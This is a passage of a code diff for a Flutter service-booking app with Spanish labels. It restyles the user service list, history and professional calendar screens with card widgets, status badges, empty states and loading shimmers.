},
);
if (serviceState.services.isEmpty) return _emptyState(context);
return ListView.builder(
padding: const EdgeInsets.symmetric(vertical: 12),
itemCount: serviceState.services.length,
itemBuilder: (_, index) {
final info = serviceState.services[index];
return _ServiceCard(
user: info.user,
service: info.service,
onTap: () => Navigator.push(
context,
CupertinoPageRoute(
builder: (_) => ProfessionalServiceScreen(
serviceId: info.service.id!)),
),
);
},
);
}
return Shimmer.fromColors(
baseColor: Colors.grey[300]!,
highlightColor: Colors.grey[100]!,
child: ListView.builder(
itemCount: 10,
itemBuilder: (_, __) => ListTile(
leading: CircleAvatar(
backgroundColor: Colors.grey[300],
radius: 30,
),
title: Container(
height: 20,
decoration: BoxDecoration(
color: Colors.grey.shade300,
borderRadius: BorderRadius.circular(8),
),
),
subtitle: Container(
height: 15,
decoration: BoxDecoration(
color: Colors.grey.shade300,
borderRadius: BorderRadius.circular(8),
),
),
),
),
);
return _shimmerList();
},
),
),
);
}
Container customStatus(ServiceEntity service) {
if (service.status == ServiceStatus.pending) {
return itemStatus(Colors.black54, 'Pendiente');
}
if (service.status == ServiceStatus.acepted) {
return itemStatus(Colors.green, 'Aceptado');
}
if (service.status == ServiceStatus.active) {
return itemStatus(Colors.blueAccent, 'Activo');
}
return itemStatus(Colors.red, 'Cancelado');
}
Container itemStatus(Color color, String text) {
return Container(
padding: const EdgeInsets.symmetric(
horizontal: 8,
vertical: 3,
),
decoration: BoxDecoration(
color: color,
borderRadius: BorderRadius.circular(8),
),
child: Text(
text,
style: const TextStyle(
fontStyle: FontStyle.italic,
color: Colors.white,
),
),
);
}
}
// pending - 0
// acepted - 1
// active - 2
// cancelled - 3
// completed - 4
Widget _emptyState(BuildContext context) {
final subtle = Theme.of(context).colorScheme.onSurface.withOpacity(0.35);
final muted = Theme.of(context).colorScheme.onSurface.withOpacity(0.55);
return Center(
child: Padding(
padding: const EdgeInsets.all(32),
child: Column(mainAxisSize: MainAxisSize.min, children: [
Container(
width: 72, height: 72,
decoration: BoxDecoration(
color: subtle.withOpacity(0.1), shape: BoxShape.circle),
child: Icon(Icons.list_alt_outlined, size: 36, color: subtle),
),
const SizedBox(height: 16),
Text('Sin servicios',
style: TextStyle(
fontSize: 16, fontWeight: FontWeight.w700, color: muted)),
const SizedBox(height: 6),
Text('Tus servicios activos aparecerán aquí.',
textAlign: TextAlign.center,
style: TextStyle(fontSize: 13, color: subtle, height: 1.5)),
]),
),
);
}
Widget _shimmerList() {
return Shimmer.fromColors(
baseColor: Colors.grey[300]!,
highlightColor: Colors.grey[100]!,
child: ListView.builder(
padding: const EdgeInsets.symmetric(vertical: 12),
itemCount: 8,
itemBuilder: (_, __) => Container(
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
height: 84,
decoration: BoxDecoration(
color: Colors.white, borderRadius: BorderRadius.circular(14)),
),
),
);
}
class _ServiceCard extends StatelessWidget {
final MyUser user;
final ServiceEntity service;
final VoidCallback onTap;
const _ServiceCard(
{required this.user, required this.service, required this.onTap});
@override
Widget build(BuildContext context) {
final si = _statusInfo(service.status);
final dateStr =
DateFormat('dd MMM yyyy', 'es').format(DateTime.parse(service.day));
final timeStr = ScheduleEntity.getFormatTime(service.range1Hour1) ?? '';
return Container(
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
decoration: BoxDecoration(
color: context.card,
borderRadius: BorderRadius.circular(14),
boxShadow: [
BoxShadow(
color: context.shadowSm,
blurRadius: 10,
offset: const Offset(0, 2))
],
),
child: ClipRRect(
borderRadius: BorderRadius.circular(14),
child: InkWell(
onTap: onTap,
child: IntrinsicHeight(
child: Row(children: [
Container(width: 4, color: si.color),
Padding(
padding: const EdgeInsets.all(12),
child: Container(
width: 50, height: 50,
decoration: BoxDecoration(
shape: BoxShape.circle,
border: Border.all(
color: si.color.withOpacity(0.35), width: 2)),
child: ClipOval(
child: (user.picture == null || user.picture!.isEmpty)
? Container(
color: _kPrimary.withOpacity(0.1),
child: Center(
child: Text(
user.name?.isNotEmpty == true
? user.name![0].toUpperCase()
: '?',
style: const TextStyle(
fontSize: 18,
fontWeight: FontWeight.w700,
color: _kPrimary),
),
),
)
: Image.network(user.picture!, fit: BoxFit.cover),
),
),
),
Expanded(
child: Padding(
padding: const EdgeInsets.symmetric(vertical: 12),
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text(user.name ?? '',
style: TextStyle(
fontSize: 14,
fontWeight: FontWeight.w700,
color: context.onSurface)),
if (service.description.isNotEmpty) ...[
const SizedBox(height: 2),
Text('"${service.description}"',
style: TextStyle(
fontSize: 12,
color: context.muted,
fontStyle: FontStyle.italic),
maxLines: 1,
overflow: TextOverflow.ellipsis),
],
const SizedBox(height: 5),
Row(children: [
Icon(Icons.calendar_today_outlined,
size: 11, color: context.subtle),
const SizedBox(width: 4),
Text('$dateStr · $timeStr',
style: TextStyle(
fontSize: 11,
color: context.muted,
fontWeight: FontWeight.w500)),
]),
],
),
),
),
Padding(
padding: const EdgeInsets.fromLTRB(8, 12, 12, 12),
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
crossAxisAlignment: CrossAxisAlignment.end,
children: [
_StatusBadge(si: si),
const SizedBox(height: 6),
Icon(Icons.chevron_right, size: 18, color: context.subtle),
],
),
),
]),
),
),
),
);
}
}
class _StatusBadge extends StatelessWidget {
final _StatusInfo si;
const _StatusBadge({required this.si});
@override
Widget build(BuildContext context) {
return Container(
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4),
decoration: BoxDecoration(
color: si.color.withOpacity(0.1),
borderRadius: BorderRadius.circular(20),
border: Border.all(color: si.color.withOpacity(0.3)),
),
child: Row(mainAxisSize: MainAxisSize.min, children: [
Icon(si.icon, size: 10, color: si.color),
const SizedBox(width: 4),
Text(si.label,
style: TextStyle(
fontSize: 10, fontWeight: FontWeight.w700, color: si.color)),
]),
);
}
}
class _StatusInfo {
final String label;
final Color color;
final IconData icon;
const _StatusInfo(this.label, this.color, this.icon);
}
_StatusInfo _statusInfo(ServiceStatus status) {
switch (status) {
case ServiceStatus.acepted:
return const _StatusInfo(
'Aceptado', Color(0xFF1565C0), Icons.check_circle_outline);
case ServiceStatus.active:
return const _StatusInfo(
'En curso', Color(0xFF16A34A), Icons.play_circle_outline);
case ServiceStatus.completed:
return const _StatusInfo(
'Completado', Color(0xFF64748B), Icons.task_alt_outlined);
case ServiceStatus.denied:
return const _StatusInfo(
'Rechazado', Color(0xFFDC2626), Icons.cancel_outlined);
case ServiceStatus.cancelled:
return const _StatusInfo(
'Cancelado', Color(0xFF9CA3AF), Icons.remove_circle_outline);
case ServiceStatus.selfBooked:
return const _StatusInfo(
'Reservado', Color(0xFF7C3AED), Icons.bookmark_outline);
default:
return const _StatusInfo(
'Pendiente', Color(0xFFD97706), Icons.hourglass_top_outlined);
}
}
@@ -93,7 +93,7 @@ class _UserScoreListScreenState extends State<UserScoreListScreen> {
),
const SizedBox(width: 5),
Text(
'${score.createdAt.toDate().day}/${score.createdAt.toDate().month}/${score.createdAt.toDate().year}',
'${(DateTime.tryParse(score.createdAt) ?? DateTime.now()).day}/${(DateTime.tryParse(score.createdAt) ?? DateTime.now()).month}/${(DateTime.tryParse(score.createdAt) ?? DateTime.now()).year}',
style: TextStyle(
color: Colors.grey[600],
),
@@ -1,5 +1,3 @@
import 'package:user_repository/user_repository.dart';
import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
@@ -10,6 +8,21 @@ import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
import 'package:prosappco/screens/service/user_service_screen.dart';
import 'package:service_repository/service_repository.dart';
import 'package:shimmer/shimmer.dart';
import 'package:user_repository/user_repository.dart';
const _kPrimary = Color(0xFF1565C0);
extension _Th on BuildContext {
ThemeData get _t => Theme.of(this);
Color get bg => _t.scaffoldBackgroundColor;
Color get card => _t.cardColor;
Color get onSurface => _t.colorScheme.onSurface;
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
Color get subtle => _t.colorScheme.onSurface.withOpacity(0.35);
bool get isDark => _t.brightness == Brightness.dark;
Color get shadowSm =>
isDark ? Colors.transparent : Colors.black.withOpacity(0.04);
}
class UserServiceHistoryListScreen extends StatefulWidget {
const UserServiceHistoryListScreen({super.key});
@@ -26,9 +39,7 @@ class _UserServiceHistoryListScreenState
@override
void initState() {
super.initState();
serviceBloc = Injector.appInstance.get<ServiceBloc>();
serviceBloc.add(
LoadServicesHistoryForUser(ApiUserRepository.currentUserId ?? ''));
}
@@ -38,178 +49,245 @@ class _UserServiceHistoryListScreenState
return BlocProvider<ServiceBloc>(
create: (context) => serviceBloc,
child: Scaffold(
backgroundColor: context.bg,
appBar: AppBar(
title: const Text('Historial'),
backgroundColor: _kPrimary,
foregroundColor: Colors.white,
elevation: 0,
),
body: BlocBuilder<ServiceBloc, ServiceState>(
builder: (context, serviceState) {
if (serviceState is ServicesForUserLoaded) {
return serviceState.services.isEmpty
? const Center(
child: Text('No tienes servicios'),
)
: ListView.builder(
itemCount: serviceState.services.length,
itemBuilder: (_, index) {
final serviceInfo = serviceState.services[index];
final user = serviceInfo.user;
final professional = serviceInfo.professional;
final service = serviceInfo.service;
return Container(
decoration: BoxDecoration(
border: Border(
bottom: BorderSide(
color: Colors.grey.withOpacity(0.2)),
),
),
child: ListTile(
onTap: () {
Navigator.push(
context,
CupertinoPageRoute(
builder: (context) => UserServiceScreen(
serviceId: service.id!,
),
),
);
},
leading: Container(
width: 60,
height: 60,
decoration: BoxDecoration(
color: Colors.grey.shade300,
shape: BoxShape.circle,
image: user.picture == null
? null
: DecorationImage(
image: NetworkImage(user.picture!),
fit: BoxFit.contain,
),
),
child: user.picture == null
? Icon(
CupertinoIcons.person,
color: Colors.grey.shade400,
size: 40,
)
: null,
),
title: Row(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Flexible(
child: Text(
'${user.name}',
overflow: TextOverflow.ellipsis,
style: const TextStyle(
fontWeight: FontWeight.bold,
),
),
),
const SizedBox(width: 5),
Text(
'${DateFormat('dd MMMM', 'es').format(DateTime.parse(service.day))} - ${ScheduleEntity.getFormatTime(service.range1Hour1)}',
style: TextStyle(
color: Colors.grey[600],
),
),
],
),
subtitle: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Row(
children: [
const Text(
'Estado:',
style: TextStyle(
fontStyle: FontStyle.italic,
),
),
const SizedBox(width: 5),
customStatus(service),
],
),
Text(
'"${service.description.trim()}"',
overflow: TextOverflow.ellipsis,
),
],
),
),
);
},
);
if (serviceState.services.isEmpty) return _emptyState(context);
return ListView.builder(
padding: const EdgeInsets.symmetric(vertical: 12),
itemCount: serviceState.services.length,
itemBuilder: (_, index) {
final info = serviceState.services[index];
return _ServiceCard(
user: info.user,
service: info.service,
onTap: () => Navigator.push(
context,
CupertinoPageRoute(
builder: (_) =>
UserServiceScreen(serviceId: info.service.id!)),
),
);
},
);
}
return Shimmer.fromColors(
baseColor: Colors.grey[300]!,
highlightColor: Colors.grey[100]!,
child: ListView.builder(
itemCount: 10,
itemBuilder: (_, __) => ListTile(
leading: CircleAvatar(
backgroundColor: Colors.grey[300],
radius: 30,
),
title: Container(
height: 20,
decoration: BoxDecoration(
color: Colors.grey.shade300,
borderRadius: BorderRadius.circular(8),
),
),
subtitle: Container(
height: 15,
decoration: BoxDecoration(
color: Colors.grey.shade300,
borderRadius: BorderRadius.circular(8),
),
),
),
),
);
return _shimmerList();
},
),
),
);
}
Container customStatus(ServiceEntity service) {
if (service.status == ServiceStatus.completed) {
return itemStatus(Colors.blueAccent, 'Completado');
}
if (service.status == ServiceStatus.cancelled) {
return itemStatus(Colors.red, 'Cancelado');
}
return itemStatus(Colors.red, 'Cancelado');
}
Container itemStatus(Color color, String text) {
return Container(
padding: const EdgeInsets.symmetric(
horizontal: 8,
vertical: 3,
),
decoration: BoxDecoration(
color: color,
borderRadius: BorderRadius.circular(8),
),
child: Text(
text,
style: const TextStyle(
fontStyle: FontStyle.italic,
color: Colors.white,
),
),
);
}
}
// pending - 0
// acepted - 1
// active - 2
// cancelled - 3
// completed - 4
Widget _emptyState(BuildContext context) {
final subtle = Theme.of(context).colorScheme.onSurface.withOpacity(0.35);
final muted = Theme.of(context).colorScheme.onSurface.withOpacity(0.55);
return Center(
child: Padding(
padding: const EdgeInsets.all(32),
child: Column(mainAxisSize: MainAxisSize.min, children: [
Container(
width: 72, height: 72,
decoration: BoxDecoration(
color: subtle.withOpacity(0.1), shape: BoxShape.circle),
child: Icon(Icons.history_outlined, size: 36, color: subtle),
),
const SizedBox(height: 16),
Text('Sin historial',
style: TextStyle(
fontSize: 16, fontWeight: FontWeight.w700, color: muted)),
const SizedBox(height: 6),
Text('Tus servicios completados aparecerán aquí.',
textAlign: TextAlign.center,
style: TextStyle(fontSize: 13, color: subtle, height: 1.5)),
]),
),
);
}
Widget _shimmerList() {
return Shimmer.fromColors(
baseColor: Colors.grey[300]!,
highlightColor: Colors.grey[100]!,
child: ListView.builder(
padding: const EdgeInsets.symmetric(vertical: 12),
itemCount: 8,
itemBuilder: (_, __) => Container(
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
height: 84,
decoration: BoxDecoration(
color: Colors.white, borderRadius: BorderRadius.circular(14)),
),
),
);
}
class _ServiceCard extends StatelessWidget {
final MyUser user;
final ServiceEntity service;
final VoidCallback onTap;
const _ServiceCard(
{required this.user, required this.service, required this.onTap});
@override
Widget build(BuildContext context) {
final si = _statusInfo(service.status);
final dateStr =
DateFormat('dd MMM yyyy', 'es').format(DateTime.parse(service.day));
final timeStr = ScheduleEntity.getFormatTime(service.range1Hour1) ?? '';
return Container(
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
decoration: BoxDecoration(
color: context.card,
borderRadius: BorderRadius.circular(14),
boxShadow: [
BoxShadow(
color: context.shadowSm,
blurRadius: 10,
offset: const Offset(0, 2))
],
),
child: ClipRRect(
borderRadius: BorderRadius.circular(14),
child: InkWell(
onTap: onTap,
child: IntrinsicHeight(
child: Row(children: [
Container(width: 4, color: si.color),
Padding(
padding: const EdgeInsets.all(12),
child: Container(
width: 50, height: 50,
decoration: BoxDecoration(
shape: BoxShape.circle,
border: Border.all(
color: si.color.withOpacity(0.35), width: 2)),
child: ClipOval(
child: (user.picture == null || user.picture!.isEmpty)
? Container(
color: _kPrimary.withOpacity(0.1),
child: Center(
child: Text(
user.name?.isNotEmpty == true
? user.name![0].toUpperCase()
: '?',
style: const TextStyle(
fontSize: 18,
fontWeight: FontWeight.w700,
color: _kPrimary),
),
),
)
: Image.network(user.picture!, fit: BoxFit.cover),
),
),
),
Expanded(
child: Padding(
padding: const EdgeInsets.symmetric(vertical: 12),
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text(user.name ?? '',
style: TextStyle(
fontSize: 14,
fontWeight: FontWeight.w700,
color: context.onSurface)),
if (service.description.isNotEmpty) ...[
const SizedBox(height: 2),
Text('"${service.description}"',
style: TextStyle(
fontSize: 12,
color: context.muted,
fontStyle: FontStyle.italic),
maxLines: 1,
overflow: TextOverflow.ellipsis),
],
const SizedBox(height: 5),
Row(children: [
Icon(Icons.calendar_today_outlined,
size: 11, color: context.subtle),
const SizedBox(width: 4),
Text('$dateStr · $timeStr',
style: TextStyle(
fontSize: 11,
color: context.muted,
fontWeight: FontWeight.w500)),
]),
],
),
),
),
Padding(
padding: const EdgeInsets.fromLTRB(8, 12, 12, 12),
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
crossAxisAlignment: CrossAxisAlignment.end,
children: [
_StatusBadge(si: si),
const SizedBox(height: 6),
Icon(Icons.chevron_right, size: 18, color: context.subtle),
],
),
),
]),
),
),
),
);
}
}
class _StatusBadge extends StatelessWidget {
final _StatusInfo si;
const _StatusBadge({required this.si});
@override
Widget build(BuildContext context) {
return Container(
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4),
decoration: BoxDecoration(
color: si.color.withOpacity(0.1),
borderRadius: BorderRadius.circular(20),
border: Border.all(color: si.color.withOpacity(0.3)),
),
child: Row(mainAxisSize: MainAxisSize.min, children: [
Icon(si.icon, size: 10, color: si.color),
const SizedBox(width: 4),
Text(si.label,
style: TextStyle(
fontSize: 10, fontWeight: FontWeight.w700, color: si.color)),
]),
);
}
}
class _StatusInfo {
final String label;
final Color color;
final IconData icon;
const _StatusInfo(this.label, this.color, this.icon);
}
_StatusInfo _statusInfo(ServiceStatus status) {
switch (status) {
case ServiceStatus.completed:
return const _StatusInfo(
'Completado', Color(0xFF64748B), Icons.task_alt_outlined);
case ServiceStatus.denied:
return const _StatusInfo(
'Rechazado', Color(0xFFDC2626), Icons.cancel_outlined);
default:
return const _StatusInfo(
'Cancelado', Color(0xFF9CA3AF), Icons.remove_circle_outline);
}
}
+256 -172
View File
@@ -1,5 +1,3 @@
import 'package:user_repository/user_repository.dart';
import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
@@ -10,6 +8,21 @@ import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
import 'package:prosappco/screens/service/user_service_screen.dart';
import 'package:service_repository/service_repository.dart';
import 'package:shimmer/shimmer.dart';
import 'package:user_repository/user_repository.dart';
const _kPrimary = Color(0xFF1565C0);
extension _Th on BuildContext {
ThemeData get _t => Theme.of(this);
Color get bg => _t.scaffoldBackgroundColor;
Color get card => _t.cardColor;
Color get onSurface => _t.colorScheme.onSurface;
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
Color get subtle => _t.colorScheme.onSurface.withOpacity(0.35);
bool get isDark => _t.brightness == Brightness.dark;
Color get shadowSm =>
isDark ? Colors.transparent : Colors.black.withOpacity(0.04);
}
class UserServiceListScreen extends StatefulWidget {
const UserServiceListScreen({super.key});
@@ -24,11 +37,8 @@ class _UserServiceListScreenState extends State<UserServiceListScreen> {
@override
void initState() {
super.initState();
serviceBloc = Injector.appInstance.get<ServiceBloc>();
serviceBloc
.add(LoadServicesForUser(ApiUserRepository.currentUserId ?? ''));
serviceBloc.add(LoadServicesForUser(ApiUserRepository.currentUserId ?? ''));
}
@override
@@ -36,183 +46,257 @@ class _UserServiceListScreenState extends State<UserServiceListScreen> {
return BlocProvider<ServiceBloc>(
create: (context) => serviceBloc,
child: Scaffold(
backgroundColor: context.bg,
appBar: AppBar(
title: const Text('Mis Servicios'),
backgroundColor: _kPrimary,
foregroundColor: Colors.white,
elevation: 0,
),
body: BlocBuilder<ServiceBloc, ServiceState>(
builder: (context, serviceState) {
if (serviceState is ServicesForUserLoaded) {
return serviceState.services.isEmpty
? const Center(
child: Text('No tienes servicios'),
)
: ListView.builder(
itemCount: serviceState.services.length,
itemBuilder: (_, index) {
final serviceInfo = serviceState.services[index];
final user = serviceInfo.user;
final professional = serviceInfo.professional;
final service = serviceInfo.service;
return Container(
decoration: BoxDecoration(
border: Border(
bottom: BorderSide(
color: Colors.grey.withOpacity(0.2)),
),
),
child: ListTile(
onTap: () {
Navigator.push(
context,
CupertinoPageRoute(
builder: (context) => UserServiceScreen(
serviceId: service.id!,
),
),
);
},
leading: Container(
width: 60,
height: 60,
decoration: BoxDecoration(
color: Colors.grey.shade300,
shape: BoxShape.circle,
image: user.picture == null
? null
: DecorationImage(
image: NetworkImage(user.picture!),
fit: BoxFit.contain,
),
),
child: user.picture == null
? Icon(
CupertinoIcons.person,
color: Colors.grey.shade400,
size: 40,
)
: null,
),
title: Row(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Flexible(
child: Text(
'${user.name}',
overflow: TextOverflow.ellipsis,
style: const TextStyle(
fontWeight: FontWeight.bold,
),
),
),
const SizedBox(width: 5),
Text(
'${DateFormat('dd MMMM', 'es').format(DateTime.parse(service.day))} - ${ScheduleEntity.getFormatTime(service.range1Hour1)}',
style: TextStyle(
color: Colors.grey[600],
),
),
],
),
subtitle: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Row(
children: [
const Text(
'Estado:',
style: TextStyle(
fontStyle: FontStyle.italic,
),
),
const SizedBox(width: 5),
customStatus(service),
],
),
service.description.isEmpty
? Container()
: Text(
'"${service.description.trim()}"',
overflow: TextOverflow.ellipsis,
),
],
),
),
);
},
);
if (serviceState.services.isEmpty) return _emptyState(context);
return ListView.builder(
padding: const EdgeInsets.symmetric(vertical: 12),
itemCount: serviceState.services.length,
itemBuilder: (_, index) {
final info = serviceState.services[index];
return _ServiceCard(
user: info.user,
service: info.service,
onTap: () => Navigator.push(
context,
CupertinoPageRoute(
builder: (_) =>
UserServiceScreen(serviceId: info.service.id!)),
),
);
},
);
}
return Shimmer.fromColors(
baseColor: Colors.grey[300]!,
highlightColor: Colors.grey[100]!,
child: ListView.builder(
itemCount: 10,
itemBuilder: (_, __) => ListTile(
leading: CircleAvatar(
backgroundColor: Colors.grey[300],
radius: 30,
),
title: Container(
height: 20,
decoration: BoxDecoration(
color: Colors.grey.shade300,
borderRadius: BorderRadius.circular(8),
),
),
subtitle: Container(
height: 15,
decoration: BoxDecoration(
color: Colors.grey.shade300,
borderRadius: BorderRadius.circular(8),
),
),
),
),
);
return _shimmerList();
},
),
),
);
}
Container customStatus(ServiceEntity service) {
if (service.status == ServiceStatus.pending) {
return itemStatus(Colors.black54, 'Pendiente');
}
if (service.status == ServiceStatus.acepted) {
return itemStatus(Colors.green, 'Aceptado');
}
if (service.status == ServiceStatus.active) {
return itemStatus(Colors.blueAccent, 'Activo');
}
return itemStatus(Colors.red, 'Cancelado');
}
Container itemStatus(Color color, String text) {
return Container(
padding: const EdgeInsets.symmetric(
horizontal: 8,
vertical: 3,
),
decoration: BoxDecoration(
color: color,
borderRadius: BorderRadius.circular(8),
),
child: Text(
text,
style: const TextStyle(
fontStyle: FontStyle.italic,
color: Colors.white,
),
),
);
}
}
// pending - 0
// acepted - 1
// active - 2
// cancelled - 3
// completed - 4
Widget _emptyState(BuildContext context) {
final subtle = Theme.of(context).colorScheme.onSurface.withOpacity(0.35);
final muted = Theme.of(context).colorScheme.onSurface.withOpacity(0.55);
return Center(
child: Padding(
padding: const EdgeInsets.all(32),
child: Column(mainAxisSize: MainAxisSize.min, children: [
Container(
width: 72, height: 72,
decoration: BoxDecoration(
color: subtle.withOpacity(0.1), shape: BoxShape.circle),
child: Icon(Icons.list_alt_outlined, size: 36, color: subtle),
),
const SizedBox(height: 16),
Text('Sin servicios',
style: TextStyle(
fontSize: 16, fontWeight: FontWeight.w700, color: muted)),
const SizedBox(height: 6),
Text('Tus servicios activos aparecerán aquí.',
textAlign: TextAlign.center,
style: TextStyle(fontSize: 13, color: subtle, height: 1.5)),
]),
),
);
}
Widget _shimmerList() {
return Shimmer.fromColors(
baseColor: Colors.grey[300]!,
highlightColor: Colors.grey[100]!,
child: ListView.builder(
padding: const EdgeInsets.symmetric(vertical: 12),
itemCount: 8,
itemBuilder: (_, __) => Container(
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
height: 84,
decoration: BoxDecoration(
color: Colors.white, borderRadius: BorderRadius.circular(14)),
),
),
);
}
class _ServiceCard extends StatelessWidget {
final MyUser user;
final ServiceEntity service;
final VoidCallback onTap;
const _ServiceCard(
{required this.user, required this.service, required this.onTap});
@override
Widget build(BuildContext context) {
final si = _statusInfo(service.status);
final dateStr =
DateFormat('dd MMM yyyy', 'es').format(DateTime.parse(service.day));
final timeStr = ScheduleEntity.getFormatTime(service.range1Hour1) ?? '';
return Container(
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
decoration: BoxDecoration(
color: context.card,
borderRadius: BorderRadius.circular(14),
boxShadow: [
BoxShadow(
color: context.shadowSm,
blurRadius: 10,
offset: const Offset(0, 2))
],
),
child: ClipRRect(
borderRadius: BorderRadius.circular(14),
child: InkWell(
onTap: onTap,
child: IntrinsicHeight(
child: Row(children: [
Container(width: 4, color: si.color),
Padding(
padding: const EdgeInsets.all(12),
child: Container(
width: 50, height: 50,
decoration: BoxDecoration(
shape: BoxShape.circle,
border: Border.all(
color: si.color.withOpacity(0.35), width: 2)),
child: ClipOval(
child: (user.picture == null || user.picture!.isEmpty)
? Container(
color: _kPrimary.withOpacity(0.1),
child: Center(
child: Text(
user.name?.isNotEmpty == true
? user.name![0].toUpperCase()
: '?',
style: const TextStyle(
fontSize: 18,
fontWeight: FontWeight.w700,
color: _kPrimary),
),
),
)
: Image.network(user.picture!, fit: BoxFit.cover),
),
),
),
Expanded(
child: Padding(
padding: const EdgeInsets.symmetric(vertical: 12),
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text(user.name ?? '',
style: TextStyle(
fontSize: 14,
fontWeight: FontWeight.w700,
color: context.onSurface)),
if (service.description.isNotEmpty) ...[
const SizedBox(height: 2),
Text('"${service.description}"',
style: TextStyle(
fontSize: 12,
color: context.muted,
fontStyle: FontStyle.italic),
maxLines: 1,
overflow: TextOverflow.ellipsis),
],
const SizedBox(height: 5),
Row(children: [
Icon(Icons.calendar_today_outlined,
size: 11, color: context.subtle),
const SizedBox(width: 4),
Text('$dateStr · $timeStr',
style: TextStyle(
fontSize: 11,
color: context.muted,
fontWeight: FontWeight.w500)),
]),
],
),
),
),
Padding(
padding: const EdgeInsets.fromLTRB(8, 12, 12, 12),
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
crossAxisAlignment: CrossAxisAlignment.end,
children: [
_StatusBadge(si: si),
const SizedBox(height: 6),
Icon(Icons.chevron_right, size: 18, color: context.subtle),
],
),
),
]),
),
),
),
);
}
}
class _StatusBadge extends StatelessWidget {
final _StatusInfo si;
const _StatusBadge({required this.si});
@override
Widget build(BuildContext context) {
return Container(
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4),
decoration: BoxDecoration(
color: si.color.withOpacity(0.1),
borderRadius: BorderRadius.circular(20),
border: Border.all(color: si.color.withOpacity(0.3)),
),
child: Row(mainAxisSize: MainAxisSize.min, children: [
Icon(si.icon, size: 10, color: si.color),
const SizedBox(width: 4),
Text(si.label,
style: TextStyle(
fontSize: 10, fontWeight: FontWeight.w700, color: si.color)),
]),
);
}
}
class _StatusInfo {
final String label;
final Color color;
final IconData icon;
const _StatusInfo(this.label, this.color, this.icon);
}
_StatusInfo _statusInfo(ServiceStatus status) {
switch (status) {
case ServiceStatus.acepted:
return const _StatusInfo(
'Aceptado', Color(0xFF1565C0), Icons.check_circle_outline);
case ServiceStatus.active:
return const _StatusInfo(
'En curso', Color(0xFF16A34A), Icons.play_circle_outline);
case ServiceStatus.completed:
return const _StatusInfo(
'Completado', Color(0xFF64748B), Icons.task_alt_outlined);
case ServiceStatus.denied:
return const _StatusInfo(
'Rechazado', Color(0xFFDC2626), Icons.cancel_outlined);
case ServiceStatus.cancelled:
return const _StatusInfo(
'Cancelado', Color(0xFF9CA3AF), Icons.remove_circle_outline);
case ServiceStatus.selfBooked:
return const _StatusInfo(
'Reservado', Color(0xFF7C3AED), Icons.bookmark_outline);
default:
return const _StatusInfo(
'Pendiente', Color(0xFFD97706), Icons.hourglass_top_outlined);
}
}
@@ -1,22 +1,33 @@
import 'package:flutter/cupertino.dart';
import 'package:flutter/foundation.dart';
import 'package:flutter/material.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
import 'package:injector/injector.dart';
import 'package:intl/intl.dart';
import 'package:professional_repository/professional_repository.dart';
import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
import 'package:prosappco/screens/service/professional_service_screen.dart';
import 'package:prosappco/utils/time_of_day_extension.dart';
import 'package:provider/provider.dart';
import 'package:table_calendar/table_calendar.dart';
import 'package:injector/injector.dart';
import 'package:professional_repository/professional_repository.dart';
import 'package:intl/intl.dart';
import 'package:prosappco/utils/time_of_day_utils.dart';
import 'package:service_repository/service_repository.dart';
import 'package:setting_repository/setting_repository.dart';
import 'package:table_calendar/table_calendar.dart';
const _kPrimary = Color(0xFF1565C0);
const _kAvailable = Color(0xFF16A34A);
const _kOccupied = Color(0xFFDC2626);
extension _Th on BuildContext {
ThemeData get _t => Theme.of(this);
Color get bg => _t.scaffoldBackgroundColor;
Color get card => _t.cardColor;
Color get onSurface => _t.colorScheme.onSurface;
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
Color get subtle => _t.colorScheme.onSurface.withOpacity(0.35);
bool get isDark => _t.brightness == Brightness.dark;
Color get shadow => isDark ? Colors.transparent : Colors.black.withOpacity(0.07);
Color get shadowSm => isDark ? Colors.transparent : Colors.black.withOpacity(0.04);
}
class ProfessionalCalendarScreen extends StatefulWidget {
final ProfessionalEntity userProfessional;
const ProfessionalCalendarScreen({super.key, required this.userProfessional});
@override
@@ -24,49 +35,28 @@ class ProfessionalCalendarScreen extends StatefulWidget {
_ProfessionalCalendarScreenState();
}
class _ProfessionalCalendarScreenState extends State<ProfessionalCalendarScreen> {
final settingRepository = Injector.appInstance.get<SettingRepository>();
final serviceRepository =
Injector.appInstance.get<ApiServiceRepository>();
SettingEntity? settings;
class _ProfessionalCalendarScreenState
extends State<ProfessionalCalendarScreen> {
final serviceRepository = Injector.appInstance.get<ApiServiceRepository>();
DateTime today = DateTime.now();
DateTime now = DateTime.now();
late int numDay;
List<ServiceEntity>? _services;
CalendarFormat _calendarFormat = CalendarFormat.month;
bool isLoading = false;
@override
void initState() {
super.initState();
today = DateTime.utc(today.year, today.month, today.day);
numDay = today.weekday;
_loadSettings();
_loadServices();
}
void _loadSettings() {
settingRepository.getSettings().then(
(value) => setState(() {
settings = value;
}),
);
}
void _loadServices() {
serviceRepository
.getServicesForProfessionalforCalendar(widget.userProfessional.id)
.then((services) {
